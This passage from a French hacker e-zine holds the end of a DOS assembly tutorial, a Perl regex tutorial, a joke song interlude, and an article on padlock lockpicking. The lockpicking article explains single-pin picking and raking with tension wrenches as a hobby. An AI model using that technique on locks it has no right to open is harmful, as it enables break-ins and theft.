ne faut pas compliquer les choses. cmp ne fait que comparer 1 régistre avec une valeur. jnz est une catégorie de jump. L'instruction jump sert à sauter à une place plus loin mais il existe plusieurs jump. Celui ci, jnz, va sauter à et2 si la comparaison échoue. C'est donc dire que cmp cl,15 est faux car cl vaut 1, donc il va sauter à et2. Si cl contenait 15, la comparaison aurait réussi donc le jnz et2 aurait eu aucun effet, il aurait été completement transparent. Pour bien comprendre je vais suivre le déroulement du programme et non déblaterrai tout ce que les lignes font pour rien. Donc on saute à et2. inc dh cmp dh,255 jnz et1 On augmente de 1 la valeur de dh avec inc dh, ensuite on compare dh avec 255, si la réponse est positive on continu mais ici, dh étais rendu à 1, la réponse est négative donc le jnz et1 fait son effet et on remonte à et1. Le processus se continu et affiche les code ASCII 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15. Rendu à 15, le cmp cl, 15 retourne la valeur vrai pour la première fois, le jnz et2 est donc pas executé et on continu le code. mov dl,10 mov ah,2 int 21h mov dl,13 mov ah,2 int 21h mov cl,0 On met 10 dans dl, et on execute l'interruption 21 avec la fonction 2. Si vous regarger dans la table ASCII vous aller constater que le code 10 correspont à une nouvelle ligne, donc le programme descend d'une ligne et immédiatement après les 3 instructions qui suive sont la même chose mais avec le code ASCII 13, celui-ci signifiant retour de chariot, c'est à dire le retour au début de la ligne. Ensuite on remet le compteur de colone à 0. Et le code continu à s'éxécuter ligne par ligne, c'est à dire qu'on continu avec inc dh cmp dh,255 jnz et1 [...] jusqu'à ce que dh soit rendu à 255. Dans ce cas, jnz et1 ne sera pas executé et le programme se termine. 2.4 ) APPROFONDIR Maintenant qu'on connait et qu'on comprend le code, il serait intéressant de tenter de le modifier. On va commencer par quelque chose de simple. Mettons que je décide de ne pas faire afficher le caractère "p" parce que je trouve que "p" c'est laid, comment j'm'y jprend? Une façon simple de le faire serait de rajouter une condition qui compare dh avec la valeur du code ASCII du caractère "p" qui est 112 en décimal et qui incrémente dh avant l'affichage si la réponse est positive. Ce qui ferait en sorte de ne pas afficher le code ASCII 112. Le nouveau code ressemblerait environ à ceci: ----------------->8-----cut here------>8----------------------------------- ; [...] assume cs:code,es:ecran push ds mov ax,0 push ax mov ax,0b800h mov es,ax mov dh,0 mov cl,0 mov ch,0 ; On rajoute notre nouvelle condition avant l'affichage et0: cmp dh,112 jnz et1 inc dh et1: mov dl,dh mov ah,2 int 21h inc cl cmp cl,15 jnz et2 mov dl,10 mov ah,2 int 21h mov dl,13 mov ah,2 int 21h mov cl,0 ; Et on update le jump ici et2: inc dh cmp dh,255 jnz et0 ; [...] ----------------->8-----cut here------>8----------------------------------- 2.5 ) CONCLUSION C'est fini pour le moment. Pour avoir plus de documentation sur l'assembleur, je vous invite à copy/paster ca dans votre browser : http://www.google.ca/search?q=programmation%20assembleur .----------------------------------------------- - - --- - --- | Sp1d3r [linux_sucker at hotmail dot com] www.mindkind.org '------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - - ,----, ,----, / || \ / || \ M / || \ / || \ A / || \ / || \ Y / || \ / || \ | / || \ / || \ \|/ T / || \ / || \ --o-- H / || \ / || \ /|\ E /\ || \ /\ || \ | | \\ || //\ | \\ || //\ B | \\ || // \| \\ || // \ A | \\ || // | \\ || // \ N \ \\ |,-----, \ \\ || // \ D \ \\ / \ \ \\ ||// \ W \ \/ \ \ \\||/ \ I \ /-, \ /\ || \ D \ | / \ --/ \ //|| | T \ |/___| _\ // ||\\ | H \ |\ | ____/| \ // || \\ | \ //\\_/ / / \ // || \\ / B \// \ /\\ / \// || \\ / E \ \_______/ / \ || / \ || / \ || / W \ || / \ || / I \ || / \ || / T \ || / \ || / H \______/ \_____/ U The news mkd-101-fighter, hunting the stupidity trough the galaxy, bringing S light, lazer and big gun to complete his mission. ___ ___ ____ ___ __ _______ __ __ ______ | | | | | ; | | | |___ | |___ | | | .------. | | .- ---' , '-----'------'-----'--- ----'------- - -- - - - - ' _|________|__ ¦ | mkd.12 Le lockpicking et la sécurité dans le monde réel : aka 'ya un trou dans ta serrure' ' _ ___ __ ____ : | | '-----.------- .-----.------.-----| |----- - ------- - - - ---- - - - ____| |____ |______| ____| |____ | | | | |___ _ ________ ___|___ ____|_________ _______ | -= Introduction =- ------------------- Depuis que l'homme accumule des biens, celui-çi cherche donc à ce que le résultat de ses labeurs soit protégé des regards indiscrets et des mains malveillantes. Les premiers cadenas voient leur apparition au début de l'ère Égyptienne et font toujours parti de notre quotidien en ce monde d'aujourd'hui. Leur utilisation est capitale et le chaos régnerait si, du jour au lendemain, leur utilité serait négligée. Toutefois, sont-ils vraiment sécuritaire? Est-ce qu'une serrure est plus un outil de dissuasion psychologique qu'une mesure de sécurité réelle? -= Mise en garde =- -------------------- Le lockpicking, contrairement à ce que plusieurs peuvent croire, n'est pas une technique propice à commettre un vol. Le lockpicking est un casse-tête, un hobby, un passe-têmps. C'est l'art d'ouvrir une serrure sans l'endommager et sans utiliser la clef d'origine. Parfois, certaines serrures sont très facile à ouvrir; dans d'autres cas, elles sont extrêmement difficiles. Afin de devenir un maître dans l'art du lockpicking, il vous faudra plusieurs années d'expérience afin de maîtriser les outils de façon efficace. Certains ''padlocks'' m'ont pris plus de 1 mois à lockpicker, d'autres de marque Abloy que j'ai simplement jamais réussi, tandis que si j'avais pris une pince pour couper l'arceau, je l'aurais probablement ''ouvert'' en moins d'une seconde. Si vous voulez commettre un crime, ce que je désapprouve à part entière, alors la force brute est votre amie car j'imagine que le temps est primordial dans ce type d'opérations. Le lockpicking n'est pas alors une solution à envisager. C'est d'ailleurs pourquoi lorsque vous vous êtes fait voler quelque chose dans votre vie, c'était par une porte défoncée ou par un cadenas coupé; les voleurs veulent pas se casser la tête pendant des heures afin d'avoir vos biens. Ce fût le cas de mon beau vélo :-( Les lockpickers s'intéressent seulement qu'à la serrure, ils se balancent bien de ce que la serrure peut bien garder. Il ne faut pas faire un lien entre un voleur et un lockpicker, c'est deux mondes COMPLÈTEMENT différents. Je tiens d'ailleurs à prendre l'occasion de m'exclure de toute responsabilité d'acte(s) perpétré(s) par des imbéciles liant le lockpicking expliqué dans ce texte à toute criminalité, quelle qu'elle soit. -= Les outils =- ---------------- Dans les films hollywoodiens, lorsque vous voyez James Bond ouvrir une serrure, il entre un truc dans celle-çi et voilà elle est ouverte. Cela est apellé une clef. Pour faire du lockpicking, vous avez besoin d'au moins 2 outils. Le premier, qui est à mon avis le plus important, est le ''tension wrench'' (voir tension.gif) ou en français, l'outil de tension. C'est ce qui permet de tourner la plug, le cylindre lui-même de la serrure. Le second outil est ce qu'on apelle un pick (voir picks.gif). Il y existe plusieurs sortes de picks qui viennent de différentes formes. Les 2 picks les plus communs sont les ''rakers'', en forme de vagues, et les ''fellers'' qui ressemblent à un doigt pour venir lever les pins une après une. Vous pouvez acheter sur internet des picksets qui sont des étuis qui contiennent plusieurs tensions wrench et picks. Il y existe des modèles pour débutant à 4 tensions wrench et 10 picks et vous pouvez monter à des picksets qui contiennent des centaines d'accessoires. Un petit pickset de marque SouthOrd, 14 morceaux à 40$CDN incluant les frais transport à partir des État-Unis, est l'idéal pour les débutants et les intermédiaires car de toute manière, les picksets plus volumineux ont souvent les mêmes outils de base qui reviennent 2 ou 3 fois :/ N'achetez pas dès le début un gros kit car premièrement, vous savez pas si vous allez avoir la patience et la dextérité de faire du lockpicking et en second, ce qui arrive à tous, vous allez briser vos outils, c'est inévitable. C'est très difficile au début de savoir le bon niveau de tension à appliquer au cylindre, vous allez donc plier vos outils de tension. Donc commencez cheap et une fois que vous avez maitrisé la technique vous pouvez changer de pickset vers un kit des plus complet. Pour l'obtention de ces outils, oui ils sont légaux au Canada. Veuillez lire le paragraphe çi-dessous tiré du Code Criminel du Canada disponible à l'adresse suivante: http://lois.justice.gc.ca/fr/c-46/19051.html - Possession d'outils de cambriolage 351. (1) Est coupable d'un acte criminel et passible d'un emprisonnement maximal de dix ans quiconque, sans excuse légitime dont la preuve lui incombe, a en s a possession un instrument pouvant servir à pénétrer par effraction dans un endroit, un véhicule à moteur, une chambre-forte ou un coffre-fort dans des circonstances qui donnent raisonnablement lieu de conclure que l'instrument a été utilisé, est destiné ou a été destiné à être utilisé à cette fin. Bref, l'important dans cette ligne sont les derniers propos ' 'dans des circonstances qui donnent raisonnablement lieu de conclure que l'instrument a été utilisé, est destiné ou a été destiné à être utilisé à cette fin.'' Le lockpicking est en soi 1 00% légal si il est pratiqué de façon honnête, tout comme les outils qui si sont rattaché. C'est légal tant et aussi longtemps que l'utilisation des outils restent dans une optique de lockpicking, soit de hobby, de casse-tête, ou simplement pour les serruriers qui utilisent ses outils pour travailler de façon honnête. -= Comment cela fonctionne =- ----------------------------- Il y existe plusieurs types de cadenas, plusieurs marques, plusieurs prix donc différent niveaux de sécurité. Toutefois, il arrive à maintes reprises que les cadenas les plus gros soient en réalité les plus facile à lockpicker. La grosseur de la base, de l'arceau, bref du c adenas lui-même est d'aucune importance par rapport à son niveau de sécurité car les lockpickers ciblent que la serrure (ou une autre faille dans le mécanisme de rétention de l'arceau). Donc un cadenas très volumineux et très lourd est probablement efficace contre les voleurs no-brainers qui utilisent des pinces et des scies, mais si la serrure elle-même est de piètre qualité, elle sera très facile à ouvrir pour un lockpicker. Je vais aujourd'hui focuser sur les cadenas de type ''padlocks'', ces fameux cadenas que l'on voit simplement partout; un padlock sont ceux avec un arceau en ''U'' dans le haut, la serrure très souvent orientée vers le bas (voir image lock1.jpg). Pour un lockpicker, ces cadenas sont simplement fantastique à ouvrir car ils font un beau ''click'' une fois que le cylindre est tourné :) Une serrure fonctionne selon un principe assez simple mais qui demande un peu de réflexion, car avant de lockpicker des serrures, il faut comprendre comment elles fonctionnent. Les serrures conventionnelles ont environs 5 niveaux de pins et chaque niveau a une top-pin (driver pin) et une bottom-pin (key pin). La bottom pin est celle qui touche à la clef lorsque vous insérez celle-çi dans la serrure. Les 5 (ou parfois plus, desfois moins) niveaux de pins sont poussés vers le bas par un ressort qui est placé par dessus la driver pin. Lorsque vous insérez la clef, vous montez alors la bottom pin et celle-çi monte à son tour la top-pin jusqu'attend que les 5 niveaux de pins soient en ligne droite avec le dessus du cylindre de la serrure. On appelle cette zone la ''sheer line'' (voir lock2.gif). Les pins, autant la top-pin (driver) que la bottom-pin (key), ne sont pas de la même longueur, ce qui explique pourquoi une clef a différentes hauteurs de coupe. Pour les compagnies de serrures, il est presque impossible que les trous du cylindre où sont les 5 niveaux de pins soient parfaitement allignés lors de leur création. Desfois, les pins elle-mêmes sont plus petites que les autres, desfois c'est réellement les trous qui sont désalignés les uns par rapport aux autres (voir lock3.gif). La machine qu'ils utilisent pour faire ses trous est très précise mais à cause des vibrations constantes et du temps, il est impossible pour eux de faire les trous 100% aligné. Même un désalignement de moins d'un millimètre fait que le lockpicking classique soit possible. Donc l'astuce ce passe içi: Si vous appliquez de la tension dans la serrure dans le sens horaire (parfois anti-horaire, mais plutôt rare) à l'aide d'un outil de tension, nommé ''tension wrench'', il va y avoir au moins un niveau de pins qui va ''binder'' avant les autres, ce qui veut dire que si vous levez ce niveau avec un feeler pick, vous allez sentir plus de résistance que les niveaux qui ''binds'' pas. En mettant de la tension dans le cylindre, vous forcez le niveau le plus désaxé à accrocher contre le cylindre, ce qui fait que vous sentez cette résistance qu'il y a pas sur les autres niveaux de pins. Une fois que le niveau le plus desaxé est levé au niveau du sheer line avec un finger pick, vous allez entendre un petit click, le cylindre va tourner légèrement étant donné qu'il y a la tension horaire de l'outil de tension, et vous venez de setter une pins (voir lock4.gif). La top-pin est retenue par le dessus du cylindre, tandis que la bottom pin de ce niveau, vu qu'elle n'a plus la pression du ressort du haut, retombe vers le bas du cylindre par gravité. Vous pouvez d'ailleurs sentir avec votre pick qu'elle n'a plus la pression du ressort contrairement aux autres niveaux. Vous venez de setter une pin. Il vous en reste donc 4, et ainsi de suite. Cette technique est celle dont tout les lockpickers jurent car elle demande beaucoup d'expérience et elle est réellement amusante car on sait combien de pins il reste avant d'ouvrir le cadenas. Une fois le dernier niveau de pins est setté, la plug (cylindre) tourne complètement et le cadenas ouvre. Une seconde technique pour ouvrir les padlocks est d'utiliser le ''racking'' avec un pick en forme de vague ou en forme de scie (voir picks.gif). Le racking demande moins d'expérience que la méthode manuelle expliquée çi-dessus mais permet souvent d'ouvrir très rapidement une serrure. C'est une très bonne technique pour débuter et personnellement, j'essaie toujours le racking avant la méthode manuelle car elle peut sauver beaucoup de temps. Le racking est simple: si vous mettez un peu de tension dans votre cylindre à l'aide d'un tension wrench et que vous passez très vite en dessous de tout les niveaux de pins avec un pick en forme de vague et en les levant vers le haut, vous pouvez setter les top pins sans même vous souciez de laquelle bind en premier. Quelques coups de racking suffisent souvent à ouvrir un padlock très rapidement. Desfois un seul coup avec un mouvement circulaire du tension wrench continu et bien perpétré parvient à ouvrir le cadenas. Toutefois, étant donné que vous faites un mouvement horizontal rapide en dessous des bottoms pins vers le top du cylindre, vous venez égratigner les pins et le top du cylindre, donc vous laissez des marques, des traces là où normalement une clef en laisserait pas. Vous laissez aussi de la poussière métallique (microscopique) dans le cadenas car le racking est nul autre qu'un frottement, donc le pick en métal s'éffrite contre les pins en métal, très légèrement certes, mais s'éffrite tout de même. Les forces de l'ordre savent ce genre d'astuces et peuvent donc facilement identifier si une serrure a été ''rackée'' à l'aide d'analyses. -= Conclusion =- ----------------- Voiçi les deux techniques de base du lockpicking. Les images utilisées sont tirées en grande partie de l'excellent guide de lockpicking disponible gratuitement sur Internet nommé le ''MIT Guide to Lock Picking'' écrit par Ted ''the Tool'' en 1991. Malgré ses 13 ans, ce guide est encore LA référence car les constructeurs de cadenas utilisent encore les mêmes procédés de fabrication que durant les 50 dernières années; en autant que les clefs standards seront utilisées, ce guide sera valide. Il est extrêmement complet et c'est un ''must read'' pour tout les lockpickers qui débutent ou comme outil de référence pour les plus expérimentés. J'ai créé un petit vidéo (voir htppl.avi) pour mon ami Gasg du #2600ca afin de lui montrer qu'un padlock Master #5, malgré sa taille et son poids relativement imposant, est très facile à lockpicker. Conseils récapitulatifs: 1) Commence avec un petit kit! 2) Relaxe sur la tension avec le wrench, tu blockes les pins et tu vas plier ton outil! 3) Comme tout hobby, pour être bon il faut pratiquer, encore et encore! 4) Quand un padlock te tient tête, prends pas les nerfs! Laisse-le de côté, prends-en un plus simple, ouvre-le et ça te mettera dans le ''beat'' pour l'affronter de nouveau! *(I KNOW I CAN DO IT!)* Greetings: JPal ''ayoye mon string'', Gasg, Vric ''Buy it now'', Wyzeman, Northox et la clique géniale de Mindkind. - Hacktoad 27/07/2004 ------------------------------------------------------------------------------------------------- .----------------------------------------------- - - --- - --- | Hacktoad [secret mail] www.mindkind.org '------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - - Pour ceux qui pensaient que nous sommes saints d'esprit, désolé. < bgsound = http://thefucksociety.com/bananaphone.mp3 > Ding-a-ling-ling-ling-ling-ling-ling-ling! Boo-ba-doo-ba-doop! Boo-ba-doo-ba-doop! Ring ring ring ring ring ring ring banana phone Ring ring ring ring ring ring ring banana phone I've got this feeling, so appealing, for us to set together and sing. Sing! [...] Ring ring ring ring ring ring ring banana phone Boop-boo-ba-doo-ba-doop! Ping pong ping pong ping pong ping panana phone It's no bolagna, it aint a phony! My cellular bananular phone! Banana phone, ring ring ring! (It's a phone with appeal!) Banana phone, ring ring ring! (Now you can have your phone and eat it too!) Banana phone, ring ring ring! (This song drives me, Bananas!) Banana phone, ring ring ring! Boo-ba-doo-ba-doop-doop-doop! > LOOP UNTIL YOUR HEAD EXPLOZE http://www.thefucksociety.com/anim.php?id=bananaphone&w=550&h=400 > Records d'écoute en loop de bananaphone.mp3 : - 4h30 min / WM - 3h15 min / LC - 2h / IN - 1h / G4 - 1h / MF - ?? / ?? ___ ___ ____ ___ __ _______ __ __ ______ | | | | | ; | | | |___ | |___ | | | .------. | | .- ---' , '-----'------'-----'--- ----'------- - -- - - - - ' _|________|__ ¦ | mkd.13 Perl : À la conquête du chameau; Part 5 : aka 'Time to really use the force' ' _ ___ __ ____ : | | '-----.------- .-----.------.-----| |----- - ------- - - - ---- - - - ____| |____ |______| ____| |____ | | | | |___ _ ________ ___|___ ____|_________ _______ | Nous voici donc rendu dans les restants et coins lugubres de mon tutorial. En faite j'ai essayé tout au long de ce tuto d'insérer les boutes "freaks" du moment, mais au cours du temps (surtout avant d'écrire le dernier épisode) j'ai ramasser plein d'affaires cool, qui fittait pas vraiment... Dans les affaires cools je parles des regex, qui sont une partie importante à considéré en Perl lorsque vous parsez du texte. En faite, pour tout langage les Regular Expression (regex) sont importantes lorsqu'il s'agit de parser quelque chose. Aussi, ya plein de fonctions en perl qui servent a manipuler des variables, de façons a ce que la logique du programme revienne a autre chose que "J'incrémente mon putain de $i pour avancer dans un tableau". Bon sans plus tarder voici le topo sur les regex, suivit de certaines fonctions cool qui nous rende la vie facile et la compréhension du code impossible par ceux qui les connaissent pas ;-) Regex ¯¯¯¯¯ Pour ceux qui savent pas pentoute c'est quoi les regex, bien pauvre vous autres vous avez une petite longueur d'avance à rattraper.. Je suggère de regarder egrep dans unix, mais attention Perl marche pas exactement comme egrep.. Dans tout les cas je crois que vous allez pouvoir vous débrouiller juste avec le tuto ici.. je vais partir du début. Les regex servent a matcher du texte selon des patterns que vous définissez. En gros l'engine de regex parse le texte pour vous et tante de trouver ce que vous lui avez demandé. Tout plein de caractères spéciaux sont donc utiliser pour faire des contraintes. Donc principalement, ce que vous avez besoin de savoir, c'est de comment utiliser ces caractères spéciaux, et quel texte vous voulez matcher. On va supposé que vous êtes pas trop vedge et que vous pouvez savoir ce que vous voulez chercher. Bon ok; pour les stoned : Chercher le mot "meuh" dans la phrase "allo meuh"... *sigh* Pour les courageux et ceux qui veulent venir les plus leets au monde avec les regex (surtout si vous saviez pas c'était quoi avant la, pis que la c'est rendu votre nouveau trip depuis 2 paragraphes) je vous conseil de lire Mastering Regular Expression dans la collection O'Reilly (les 2 hiboux). Ya pas plus complet que ça, et ça porte pas juste sur le Perl.. mais bien les regex en général, avec bien sur, Perl en premier plan. Bon nous allons donc commencer avec le début du commencement de la chose, savoir si un mot existe dans une phrase, strstr pour les C/PHP freaks. Perl (voulant faire à sa tête comme d'habitude) propose une syntaxe spéciale, qui est toute sauf un call a une fonction : $a =~ /meuh/; Permet de savoir si l'occurrence "meuh" apparaît dans $a, en faite ça retourne de koi qui peut être interprété comme un true/false: if ($a =~ /meuh/) { print "jai trouvé meuh!"; } Simple et pas trop chiant.. il est a noter que les // sont les déléminateurs par défaut, et que on peut les remplacer avec qr// (exemple : $a -~ qr"meuh"). Bon alors jusque la, c'est simple, rapide, terriblement efficace (lalala) mais vu que j'ai pas envie que ça le reste longtemps (sinon on va s'endormir), on va maintenant introduire un concept plus avancer qui va nous aider a bien comprendre le "pourquoi la même chose fait pas la même affaire". Avec les regex en perl, on peut grouper de 2 manières les caractères dans notre search pattern. La search pattern elle même est entre // par défaut, et les groupements sont () pour regrouper des caractère dans un block, et [] pour regrouper le tout de façon à créer un range. o_O me direz vous, on va y aller avec des exemples, histoire de comprendre ça : $a =~ /[A-Z][a-z]/; Cte ligne la va checker si un char entre A et Z suivi d'un char entre a et z (case sensitive hein!) match dans notre $a.. On peut aussi donner une série de char a matcher, genre si on veut trouver un a ou un d ou un e : $a =~ /[ade]/; Et bien sur on peut y aller avec [0-9]. Si on veut trouver le contraire (ce qui n'est pas) on peut faire [^0-9] ce qui va nous sortir true si on match des pas de 0 à 9. Bon la prenez un peu de temps a réfléchir a la chose suivante : la regex retourne un true lorsqu'elle trouve ce que on lui demande. C'est un concept important a comprendre, car c'est comme ça qu'on va pouvoir faire des tests dans des chaînes avancés, faire des find and replace puissant et ultimement arriver a comprendre les chaînes elles même (le vrai parsing!). Bon si on continue dans nos groupements, les () servent a faire un ensemble qui est "catché" (attrapé).. pour l'instant ça donne rien d'intéressent : $a =~ /(meuh)/; et si jamais on trouve "meuh" dans $a, et bien une variable magique nommé $1 va être créer a la prochaine ligne, et elle va contenir ce qui est entre (), donc "meuh". Pas très utile pour l'instant, mais c'est la base du parsing. Bon maintenant qu'on a vu les différentes parenthèses, on va voir ce que je voulais dire par "2 fois la même chose". En regex ya plusieurs caractères spéciaux, en faite y'en a une tonne, tellement que certains change en fonction des parenthèses.. par exemple le ^ de tantôt, qui entre [] donne une négation, si on la mets entre // (donc par défaut), ça va tenter de matcher au début de la string uniquement. Donc, $a =~ /^meuh/; va retourner un true seulement si meuh est au début de la ligne. si $a = "blah meuh", ça va être false. Un autre exemple du genre le point (.). Il sert a matcher n'importe kel caractère entre // mais entre [] il va matcher le caractère . lui-même. Donc, $a =~ /./; # true si ya au moins un caractère dans $a $a =~ /[.]/; # true si ya au moins un . dans $a $a =~ /\./; # true si ya au moins un . dans $a Et oui, le \ sert a "backslasher".. hehe Donc dès que vous voulez matcher un caractère spéciaux en regex, vous avez qu'a mettre \ devant, et Perl va s'occuper de matcher le vrai caractère.. $a =~ /\[/; # match un [ A part ça il y a le | qui est intéressent. Il permet de faire un OU dans le match, donc au lieu de faire : $a =~ /meuh/ or $a =~ /pwet/; on peut faire facilement : $a =~ /meuh|pwet/; # match meuh ou pwet Ensuite de tça, il y a le $, qui sert a matcher a la fin de la string (comme ^ mais à la fin).. Donc, $a =~ /meuh$/; # match seulement si meuh est a la fin de la string $a Evidemment on peut aussi matcher autre chose que des caractères normaux, par exemple on peut matcher un retour de ligne \n un form feed \f un tab \t ou n'importe kel espacement \s. Donc $a =~ /\s/; # match si ya un espace (un " " ou un "TAB" dedans) Tout ça est bien plaisant, mais maintenant si vous voulez commencer a faire des matchs plus complets, il vaut faudra matcher autre chose que juste des "mots définies" tel que pwet ou meuh. Pour ce faire on utilise 2 choses, la première les caractères spéciaux \w et \d, qui remplace respectivement [A-Za -z_] et [0-9]. Donc \w match une lettre ou un underscore.. et si on en veut plusieurs il faut utiliser des quantifieurs. Les quantifieurs sont les suivants : ? pour 0 ou une fois + pour 1 ou plusieurs fois * pour 0 ou plusieurs fois {1,5} pour de 1 fois à 5 fois On peut donc les appliquer sur ce qu'on veut dans les caractères pour matcher : $a =~ /a+/; # match 1 ou plusieurs a $a =~ /.{2,4}/; # match 2, 3 et 4 caractères $a =~ /\d?/; # match 0 ou 1 chiffre $a =~ /\w*/; # match rien pentoute ou plusieurs [A-Za-z_] (useless un peu..) Faite attention cependant quand vous mettez entre () des affaires, par exemple (\w)+ va juste mettre dans $1 une seule lettre (\w+) va mettre le mot au complet (plusieurs lettres) dans $1 Parlant de $1 et compagnie, assayer de figurer le coté pratique de la chose. Si vous avez $a =~ /blah(\d+)/; Vous allez vous ramasser a la ligne suivante avec un chiffre dans $1. Si vous êtes pas sur si c'est $1 ou $2 la derniere variable matcher, par exemple $a =~ /"(\w+)"|'(\w+)'/ utiliser $+, qui va vous retourner le dernier match. Maintenant que vous êtes parti en peur avec les $1, vous avez surement envie d'utilisé le $1 dans le même match, du genre : $a =~ /blah(\d+).*meuh($1)/ # ERREUR! Malheureusement perl va checker le $1 d'avant car ya pas fini d'exécuter la regex. Donc, pour faire ce que vous voulez (matcher 2 fois les memes digits \d+) il vous faut : $a =~ /blah(\d+).*meuh(\1)/ # fun fun Une utilité pratique des regex se retrouve dans le "find and replace". Il arrive souvent qu'on veulent éditer le contenue d'une variable live (exemple quand on trim les inputs/outputs vers des sites web pour empêcher le XSS). En perl on peut simplement faire la substitution de la manière suivante : $a =~ s/pwet/meuh/; Ainsi tout ce qui match pwet dans $a va être changer par meuh. Si jamais il y a plusieurs pwet dans $a et on veut tout les changer, on doit utiliser /g : $a =~ s/pwet/meuh/g; qui va prendre tout les pwet et les changer en meuh. N'oublier pas que toute ce qui est matcher va être remplacer, donc si on fait $a =~ s/\d/_/g; ça va remplacer tout les digits [0-9] par _ dans $a. Perl offre un moyen simple pour faire du find and replace dans un fichier : perl -p -i -e 's/pwet/meuh/g' fichier.txt va faire la job dans le fichier.txt. Un peu plus pratique que sed car vous avez pas a vous faire chier avec le output et le mettre dans un fichier temporaire. Le -p sert a parcourir tout le fichier, le -i sert a remplacer la ligne dans le fichier, et le -e pour exécuter directement ce qu'il y a entre ''. Parlant de fichier, perl offre aussi une manière de modifier une variable qui contient plusieurs lignes, et la traiter ligne par ligne (un peu comme l'exemple précédent). Pour ce faire vous devez utiliser /m qui s'occupera de traiter la variable comme une variable a multiple lignes, donc de refaire la regex sur chaque ligne au lieu que sur le tout. Ce que ça donne? Eh bien on va "slurper" (prendre le contenu intégral) un file dans une variable pour voir: undef $/; # enable le "slurp" $slurped = <>; # on slurp! En suite on peut s'amuser a faire des matchs sur $slurped: $slurped =~ s/^$//mg; # efface les lignes vides $slurped =~ s/^\s*$//mg; # efface les lignes vides avec des espaces $slurped =~ s/^$//mgx; # efface les lignes vides avec des espaces ( le /x sert a ignorer les espaces.) Si on aurait omit le /mg dans la premiere ligne, on aurait assayer de matcher la totalité de $slurped avec la regex (donc on aurait vérifier si $slupred est vide). Les regex étant vaste, et ceci étant seulement un tutorial, je vais vous envoyez quelque bidules en vrak intéressent, mais dites vous que en réfléchissant un peu, vous pouvez arriver a faire tout ce que vous voulez avec ces merveilleuses regex... $myregex = qr/aaa/i; # permet davoir une regex dans une variable $pwet =~ $myregex; # dont peut être utiliser comme ça $ayoye =~ /(.+)*/; # ligne carrément stupide car va assayer de matcher # n'importe quoi. utilitée? benchmark de cpu ;-) Un concept intéressent, le lookahead (?=) et lookbehind (?<=) $a =~ s/(?<=meuh)(?=pwet)/_/g; # va remplacer meuhpwet par meuh_pwet $a =~ s/(?<=)pwet/_pwet/g; # meme chose $a =~ s/meuh(?=pwet)/meuh_/g; # meme chose $a =~ s/?<=\bmeuh)(?=pwet\b)/_/g; # encore plus puissant car va remplacer "a meuhpwet unf" par "a meuh_pwet unf" et "ameuhpwetunf" va pas matcher. Le \b sert a dire que c'est le "boundarie" du mot. Donc que ça va jusqu'au espaces. A ne pas confondre avec \b... haha n'oublier pas que certaines choses peuvent changer s'il ne sont pas entre (). \b sans les () sert a matcher le caractère backspace. Perl Functions ¯¯¯¯¯¯¯¯¯¯¯¯¯¯ > >> Quoi faire avec un hash le samedi soir > Afficher les clefs d'un hash print keys %pwet; > Qui sert à afficher le contenue du hash foreach (keys %pwet) { print "\$pwet{$_} = $pwet{$_}\n"; } > Si je veux rien savoir des clefs, mais je veux que la liste des valeurs print values %pwet; > Si je veux les clefs et les valeurs sans trop d'efforts while ( ($clef, $valeur) = each %pwet ) { print "\$pwet{$clef}{$valeur}\n"; } > Remarquer dans le dernier exemple que on utilise un while et non un foreach. La fonction each itère à travers le hash, au lieu de carrément retourner une liste. L'avantage de tça c'est si le hash est vraiment big, on aura pas une grosse copie de mémoire pour rien. De plus, si le hash est tie à un gros file en netbios via tokering sur un serveur 286, utiliser keys/values va etre slow car il va toute slurper le hash d'une shoot, tandis que each va y aller clef/valeur par clef/valeur et donc le processing va se faire pendant que ça lit au lieu d'après. > Si on veut scrapper une entry dans un hash a partir de sa clef if (exists $pwet{meuh}) { delete $pwet{meuh}; } Si jamais vous faite $pwet{meuh} = ""; vous n'allez pas scrapper la clef, mais simplement effacer la valeur. Même chose si vous faite undef $pwet{meuh} ça va mettre la valeur sous la clef meuh a undef et non l'effacer. D'où l'utilité du delete. En passant, si vous travailler avec des références, faites très attention car if (exists $pwet->{a}->{b}) {;} va "autovivifier" le hash. Donc perl va créer lui meme les référence quand vous allez faire le exists. Comme quoi des fois les features deviennent facilement des bugs. > >> Quoi faire avec un array après le hash du samedi soir > On a déjà vu dans les tuto précédents les fonction push/pop/shift/etc. De plus, les fonctions exist et delete fonctionne aussi avec les array. foreach (0..$#pwet) { delete $$pwet[$_]; } même chose que delete @pwet[0..$#pwet]; même chose que @pwet = (); et même chose que undef @pwet; Si vous voulez effacer TOUT le contenu d'un array, c'est mieux d'y aller avec un = () ou un undef, mais par contre les autres on leur utilité quand vous voulez delete une partie. En passant si vous faite un delete sur $pwet[2], le $pwet[2] va pu exister dans un foreach @pwet, mais si l'espace pour la valeur [2] va être libre, donc un push va mettre ça dans [3]. > splice permet de faire des choses cool, car vous prennez un array, aller à un offset, prendre une longueur et vous remplacer ça par ce que vous voulez, voici des équivalences : pop(@a) <=> splice(@a, -1) shift(@a) <=> splice(@a, 0, 1) $a[$x] = $y <=> splice(@a, $x, 1, $y) > >> La magie du undef (c'est pas une fonction mais ça peut en être une.. hum) > undef est spécial en perl. Il ne s'agit pas de "" (string vide) ni de 0 (valeur numérique 0), il s'agit de rien pentoute. Et ce rien pentoute ne peut pas être utiliser dans un if. Vous devez donc faire : if (defined $var) {;} pour voir si la variable en question est a undef. En plus, undef agit comme un opérateur et permet de scrapper la variable undef $var; Et comme si c'était pas assé, on peut se servir de undef comme valeur $var = undef; On peut donc arriver a faire des choses folles tel que skipper une assignation (maintenant undef rempalce une variable!) my ($a, $b, undef, $c) = @pwet; # $pwet[2] va être perdu dans malle et tant qu'a faire, on peut faire une chose totalement inutile! undef = $pwet; # fait rien pentoute ;-) > >> un foreach sans foreach qui retourne une liste de $_ > Reprennez votre souffle, je voulais juste dire "map" au lieu de se titre la. mais bon mon titre est plus explicatif que map, malgres que le concept est fun : foreach (@meuh) { print; } va donner la meme chose que les lignes suivantes (qui donnent eux-mêmes toute la meme chose!). En passant, n'oublier pas que $_ existe par "défaut".. map { print } @meuh; map { print $_ } @meuh; map print, @meuh; > map retourne aussi une valeur : la liste des $_ changer, donc peut faire un genre de replace ou de processing avec un array : @pwet = map { lc } @meuh; # les valeurs de @meuh dans @pwet en lowercase! > >> un foreach sans foreach qui retourne une liste sélective de $_ > Aussi appellé @pwet = map { EXPR ? $_ : () } @meuh; Mais appellé par ses amis comme étant le "grep" de perl.. @pwet = grep { EXPR } 